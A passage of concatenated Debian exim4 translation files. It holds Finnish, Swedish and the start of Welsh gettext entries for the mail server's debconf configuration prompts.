" #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Ilmoitit tehneesi Exim 3:n asetukset itse. Niiden muuttamiseen Exim 4:lle " #~ "voi käyttää työkalua exim_convert4r4(8) asennuksen jälkeen. Tutki " #~ "tiedostoja /usr/share/doc/exim4-base/examples/example.conf.gz ja /usr/" #~ "share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Sähköpostijärjestelmä on rikki eikä sitä voi käyttää ennen kuin asetukset " #~ "on tehty." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Järjestelmän \"postinimi\" on konenimen osuus sähköpostiosoitteesta, joka " #~ "näkyy lähtevissä nyysseissä ja sähköposteissa (käyttäjänimen ja @-merkin " #~ "jälkeinen osa), paitsi jos se piilotetaan osoitteen " #~ "uudelleenkirjoituksella." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Kirjoita tähän ne paikallisten koneiden aliverkot, joista tuleva posti " #~ "hyväksytään välitettäväksi." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Tähän pitäisi sisältyä lista kaikista koneista, jotka käyttävät tätä " #~ "konetta smarthostina." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "IPv6-osoitteissa on kaksoispisteet kahdennettava (esim. " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Kirjoita kaksoispistein eroteltu lista IP-osoitteita joita kuunnellaan. " #~ "IPv6 osoitteissa on kaksoispisteet kahdennettava (esim. " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Tehdään Exim v4:n asetuksia (exim4-config)" #, fuzzy #~ msgid "" #~ "If you are configuring this system without local mail delivery this name " #~ "won't appear on From: lines of mail, as rewriting is used." #~ msgstr "" #~ "Jos määrittelet tämän koneen satelliitiksi, tämä nimi ei näy sähköpostin " #~ "From:-riveillä, koska osoitteiden uudelleenkirjoitus on käytössä." #~ msgid "" #~ "Obviously, any machines that use us as a smarthost have to be excluded " #~ "from the relaying controls, as using us to relay mail for them is the " #~ "whole point." #~ msgstr "" #~ "Tietenkin on tätä konetta smarthostina käyttävät koneet ohitettava " #~ "postinvälityksen ohjauksista, koska tämän koneen on nimenomaan tarkoitus " #~ "välittää niiden postia." #~ msgid "" #~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " #~ "to one or more user accounts of the actual system administrators. The " #~ "default is to set things up so that mail for \"postmaster\" and for " #~ "various system accounts is redirected to \"root\", and mail for \"root\" " #~ "is redirected to a real user. This can be changed by editing /etc/" #~ "aliases." #~ msgstr "" #~ "Tunnuksille \"postmaster\" ja \"root\" tuleva sähköposti ohjataan " #~ "tavallisesti yhteen tai useampaan varsinaisten ylläpitäjien " #~ "sähköpostilaatikoista. Oletusarvoisesti asetukset tehdään siten että " #~ "\"postmaster\" ja erinäisille järjestelmän tunnuksille tuleva posti " #~ "ohjataan tunnukselle \"root\" ja tunnuksen \"root\" posti ohjataan oikean " #~ "käyttäjän sähköpostilaatikkoon. Tätä voidaan muuttaa muokkaamalla " #~ "tiedostoa /etc/aliases. " #~ msgid "" #~ "System administrator mail goes to which user accounts? Enter one or more " #~ "usernames separated by spaces or commas. Enter \"none\" if you do not " #~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " #~ "run deliveries as root and will save the mail to /var/mail/mail Also, " #~ "note that usernames should be lowercase!" #~ msgstr "" #~ "Keiden käyttäjien postilaatikkoon menee järjestelmän ylläpitäjän " #~ "sähköposti? Kirjoita yksi tai useampia käyttäjätunnuksia välilyönnein tai " #~ "pilkuin eroteltuina. Kirjoita \"none\" jos et halua postin " #~ "uudelleenohjausta. - HUOM. Tätä kehoitetaan ankarasti välttämään. Exim ei " #~ "voi toimittaa postia pääkäyttäjänä ja tallettaa postit /var/mail/mail-" #~ "tiedostoon. Huomaa myös käyttäjätunnukset kirjoitettavan pienillä " #~ "kirjaimilla. " #~ msgid "internet, smarthost, satellite, local, none" #~ msgstr "internet, smarthost, satelliitti, paikallinen, ei mitään" #~ msgid "" #~ "You must choose one of the options below as configuration type for the " #~ "Exim mail transport agent:" #~ msgstr "" #~ "Alla olevista sähköpostin välitysohjelman (MTA) asetusten tyypeistä on " #~ "yksi valittava." #~ msgid "" #~ "Internet site - mail is sent and received directly using SMTP. If your " #~ "needs don't fit neatly into any category, you probably want to start with " #~ "this one and then edit the config file by hand." #~ msgstr "" #~ "Internetiin kytketty kone - sähköposti lähetetään ja vastaanotetaan " #~ "suoraan käyttäen SMTP:tä. Mikäli käyttötarkoituksesi ei sovi mihinkään " #~ "valmiiseen vaihtoehtoon, halunnet aloittaa tällä ja muokata " #~ "asetustiedostoa itse." #~ msgid "" #~ "Internet site using smarthost - You receive Internet mail on this " #~ "machine, either directly by SMTP or by running a utility such as " #~ "fetchmail. Outgoing mail is sent using a smarthost. optionally with " #~ "addresses rewritten. This is probably what you want for a dialup system." #~ msgstr "" #~ "Internetiin kytketty kone joka käyttää smarthostia - Internetistä tulevaa " #~ "sähköpostia vastaanotetaan tällä koneella, joko suoraan SMTP:llä tai " #~ "käyttämällä fetchmail:in tapaista työkalua. Lähtevä posti menee " #~ "smarthostille, haluttaessa käyttäen osoitteiden uudelleenkirjoitusta. " #~ "Tämä on se mitä hallunnet jos käytät soittoyhteyttä." #~ msgid "" #~ "Satellite system - All mail is sent to another machine, called a \"smart " #~ "host\" for delivery. root and postmaster mail is delivered according to /" #~ "etc/aliases. No regular mail is delivered locally." #~ msgstr "" #~ "Satelliitti - Kaikki posti lähetetään toiselle smarthostiksi kutsutulle " #~ "koneelle perille toimitettavaksi. Tunnusten root ja postmaster sähköposti " #~ "jaellaan /etc/aliases-tiedoston mukaisesti. Tavallista postia ei jaeta " #~ "paikallisesti." #~ msgid "" #~ "Local delivery only - You are not on a network. Mail for local users is " #~ "delivered." #~ msgstr "" #~ "Vain paikallinen sähköpostien toimitus - Verkkoyhteyttä ei ole. " #~ "Sähköpostit toimitetaan koneen paikallisille käyttäjille. " debian/po/sv.po0000644000000000000000000007130612027557533010614 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-08-02 19:31+0100\n" "Last-Translator: Daniel Nylander \n" "Language-Team: Swedish \n" "Language: sv\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ta bort olevererade meddelanden i kökatalogen?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Det finns e-postmeddelanden i Exims kökatalog /var/spool/exim4/input som " "ännu inte har levererats. Borttagning av Exim gör att de finns kvar men blir " "inte levererade förrän Exim har installerats om." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Om det här alternativet inte väljs kommer kökatalogen att behållas och gör " "att meddelanden i kön kan levereras vid ett senare tillfälle, efter att Exim " "har installerats om." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Konfigurera om exim4-config istället för det här paketet" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 har fått sin konfiguration flyttad till ett eget paket, exim4-config. " "Använd \"dpkg-reconfigure exim4-config\" om du vill konfigurera om Exim4." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internetvärd; e-post skickas och tas emot direkt med SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "e-post skickas av \"smarthost\"; tas emot via SMTP eller fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "e-post skickas av \"smarthost\"; ingen lokal e-post" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "endast lokal leverans; inte del av ett nätverk" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ingen konfigurering just nu" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Allmän typ av e-postkonfiguration:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Välj den konfigurationstyp för e-postservern som bäst uppfyller dina behov." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "System med dynamiska IP-adresser, inklusive system med uppringd anslutning, " "bör vanligtvis konfigureras att skicka all utgående e-post till en annan " "maskin, en så kallad \"smarthost\" (smart värd), för leverans därför att " "många mottagande system på Internet blockerar inkommande e-post från " "dynamiska IP-adresser som ett skydd mot skräppost." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Ett system med en dynamisk IP-adress kan ta emot sin egen e-post, eller " "lokal leverans kan fullständigt inaktiveras (förrutom e-post till root och " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ska e-postsystemet verkligen lämnas okonfigurerat?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Till dess att ditt e-postsystem är konfigurerat kommer det att vara trasigt " "och kan inte användas. Konfigurationen kan göras senare, antingen manuellt " "eller genom att köra \"dpkg-reconfigure exim4-config\" som root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Systemets e-postnamn:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Alternativet \"mail name\" är domännamnet som används för att \"qualify\" e-" "postadresser utan ett domännamn." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Det här namnet kommer även att användas av andra program. Det bör vara det " "fullständiga domännamnet (FQDN) för maskinen." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Till exempel om en e-postadress på den lokala värden är foo@domän.se blir " "domän.se det korrekta värdet för det här alternativet." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Det här namnet kommer inte att synas i From:-rubrikerna för utgående " "meddelanden om adressomskrivning är aktiverat." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Andra destinationer för vilka e-post accepteras:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Ange en semikolonavgränsad lista över mottagande domäner för vilka denna " "maskin ska betrakta sig själv som den slutgiltiga destinationen. Dessa " "domäner kallas vanligtvis för \"local domains\". Det lokala värdnamnet " "(${fqdn}) och \"localhost\" läggs alltid till i listan som anges här." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Som standard behandlas alla lokala domäner lika. Om både a.exempel och b." "exempel är lokala domäner, kommer acc@a.exempel och acc@b.exempel att " "levereras till samma slutgiltiga destination. Om olika domännamn ska " "behandlas olika är det nödvändigt att redigera konfigurationsfilerna efteråt." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domäner för vilka e-post ska vidarebefordras:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Ange en semikolonavgränsad lista över mottagardomäner för vilka det här " "systemet ska vidarebefordra e-post, till exempel som en reserv-MX eller e-" "postgateway. Det här betyder att det här systemet kommer att acceptera e-" "post för dessa domäner från hela Internet och leverera dem enligt de lokala " "leveransreglerna." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Nämn inga lokala domäner här. Jokertecken får användas." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Maskiner för vilka e-post ska vidarebefordras:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Ange en semikolonavgränsad lista över IP-adressintervall för vilka det här " "systemet ska godtyckligt vidarebefordra e-post, alltså fungera som en " "\"smarthost\"." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Du ska använda standardformatet för adress/prefix (t.ex. 194.222.242.0/24 " "eller 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Om det här systemet inte ska vara en \"smarthost\" för någon annan värd, " "lämna det här blankt." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Synligt domännamn för lokala användare:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Alternativet att dölja det lokala e-postnamnet i utgående e-post blev " "aktiverat. Det är därför nödvändigt att ange domännamnet som det här " "systemet ska använda för domändelen av de lokala användarnas " "avsändaradresser." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-adress eller värdnamn till utgående \"smarthost\":" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Ange IP-adressen eller värdnamnet på en e-postserver som det här systemet " "ska använda som utgående \"smarthost\". Om denna \"smarthost\" endast " "accepterar din e-post på en annan port än TCP/25, lägg till två kolontecken " "och portnumret (till exempel, smarthost.exempel::587 eller " "192.168.254.254::2525). Kolontecken i IPv6-adresser behöver dubbleras." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Om \"smarthost\" kräver autentisering, referera till den Debian-specifika " "README-filen i /usr/share/doc/exim4-base för information om hur man " "konfigurerar SMTP-autentisering." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Mottagare för e-post till root och postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "E-post till \"postmaster\", \"root\" och andra systemkonton behöver " "omdirigeras till användarkontot som den faktiska systemadministratören " "använder." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Om det här värden lämnas blank, kommer sådan e-post att sparasi /var/mail/" "mail, vilket inte rekommenderas." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Observera att e-post till postmaster bör läsas på systemet till vilket den " "var dirigerad, istället för att vidarebefordras någon annanstans, så " "(åtminstone en av) användarna som listas här inte ska vidarebefordra sin e-" "post från denna maskin. Använd prefixet \"real-\" för att tvinga fram lokal " "leverans." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Flera användarnamn behöver avgränsas med blanksteg." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-adresser att lyssna på efter inkommande SMTP-anslutningar:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Ange en semikolonavgränsad lista över IP-adresser. Exim SMTP-lyssnardemonen " "kommer att lyssna på alla IP-adresser som listas här." # FIXME: Bättre översättning av "network interfaces" krävs. "Nätverkskort" # används på andra ställen, men här funkar det inte. #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Om du lämnar det här värdet tomt kommer Exim att lyssna efter anslutningar " "på alla tillgängliga nätverksgränssnitt." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Om det här systemet endast tar emot e-post direkt från lokala tjänster (och " "inte från andra värdar) föreslås det att förbjuda externa anslutningar till " "den lokala Exim-demonen. Sådan tjänster inkluderar e-postprogram (MUA) som " "endast pratar med localhost såväl som fetchmail. Externa anslutningar är " "omöjliga om 127.0.0.1 anges här eftersom det kommer att inaktivera lyssning " "på publika nätverksgränssnitt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Håll antalet DNS-frågor till ett minimum (ring-vid-behov)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "I normalt driftläge gör Exim DNS-uppslagningar vid uppstart, och vid " "mottagande och leverans av meddelanden. Detta görs i loggningssyfte samt för " "att hålla nere antalet hårdkodade värden i konfigurationen." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Om detta system inte har en permanent DNS-namnserveråtkomst tillgänglig hela " "tiden (till exempel om dess Internet-åtkomst är en uppringd förbindelse med " "ring-vid-behov), så kan detta få oönskade följder. Till exempel att starta " "upp Exim eller att köra igenom kön (även när inga meddelanden väntar) kunde " "orsaka en kostsam uppringning." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Det här alternativet bör väljas om det här systemet använder ring-vid-behov. " "Om det har permanent anslutning till Internet, bör det här alternativet " "inaktiveras." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "E-postserverkonfiguration" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Dela konfigurationen i mindre filer?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debians exim4-paket kan antingen använda \"unsplit configuration\", en ensam " "monolitisk fil (/etc/exim4/exim4.conf.template) eller \"split configuration" "\", där de faktiska Exim-konfigurationfilerna byggs från cirka 50 mindre " "filer under /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Odelad konfiguration är bättre lämpad för större ändringar och är generellt " "mer stabil, medan delad konfiguration erbjuder ett smidigt sätt att göra " "mindre ändringar men är mer bräcklig och kan gå sönder om vårdslösa " "ändringar görs." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "En mer detaljerad diskussion om delning eller inte av konfigurationen kan " "hittas i den Debian-specifika README-filen i /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Dölj lokalt e-postnamn i utgående e-post?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Rubrikerna på utgående e-post kan skrivas om för att det ska se ut som om " "den har skapats på ett annat system. Om det här alternativet väljs kommer " "\"${mailname}\", \"localhost\" och \"${dc_other_hostnames}\" i From, Reply-" "To, Sender och Return-Path att skrivas om." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox-format i /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-format i hemkatalog" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Leveransmetod för lokal e-post:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kan lagra lokalt levererad e-post i olika format. De mest vanliga " "sätten är mbox och Maildir. Mbox använder en enda fil för hela e-postmappen " "och lagras under /var/mail. Med formatet Maildir lagras meddelanden var för " "sig i separata filer under ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Observera dock att de flesta e-postverktyg i Debian förväntar som standard " "att den lokala leveransmetoden är mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "" #~ "Flytta olevererade e-postmeddelanden från exim 3 till exim4:s kökatalog?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Det finns olevererade e-postmeddelanden i exim 3:s (eller exim-tls 3) " #~ "kökatalog /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Välj det här alternativet för att flytta dessa meddelanden till exim4:s " #~ "kökatalog (/var/spool/exim4/input/) där de kommer att hanteras av exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Det här fungerar endast en väg: Exim4 kan hantera en exim 3-kö men inte " #~ "tvärtom. Om du inte väljer det här alternativet kommer du att behöva " #~ "flytta meddelandena själv eller så kommer de aldrig att levereras." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Lämna den här listan blank innebär att Exim inte levererar lokalt." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Var medveten om att detta enbart funkar ena vägen; exim4 kan hantera exim" #~ "(v3):s kökatalog men det omvända gäller inte." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Flytta e-postmeddelandena endast om du inte planerar att gå tillbaka till " #~ "exim(v3). Annars bör e-posten inte flyttas nu utan manuellt när du har " #~ "konverterat ditt system." #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Om det finns några fler så ange dem här, åtskilda med kolon. Du kan lämna " #~ "det här tomt om det inte finns några." #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "Ange domänerna som du accepterar att vidarebefordra e-post för." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Sådana domäner är domäner åt vilka du är beredd att acceptera e-post från " #~ "var som helst på internet. Ange inte lokala domäner här." #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domänerna du anger ska avgränsas med kolon. Jokertecken kan användas." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Eftersom du valde att dölja det lokala e-postnamnet i utgående e-post så " #~ "måste du ange domännamnet som ska användas för e-post från lokala " #~ "användare. Detta är vanligtvis den maskin som du tar emot din e-post på." #~ msgid "Where will your users read their mail?" #~ msgstr "Var kommer dina användare att läsa sin e-post?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Maskin som hanterar utgående e-post för denna värd (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Ange värdnamnet på den maskin som utgående e-post skickas till." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Aktivera denna funktion om du använder ring-vid-behov (Dial-on-demand). " #~ "Annars ska den avaktiveras." #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Välj den konfigurationstyp som bäst uppfyller dina behov." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Om du är osäker så ska du inte använda delad konfiguration." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "konvertera manuellt från en hemsnickrad Exim v3-konfiguration" #~ msgid "Configure Exim4 manually?" #~ msgstr "Konfigurera Exim4 manuellt?" debian/po/cy.po0000644000000000000000000006472112027557533010602 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth 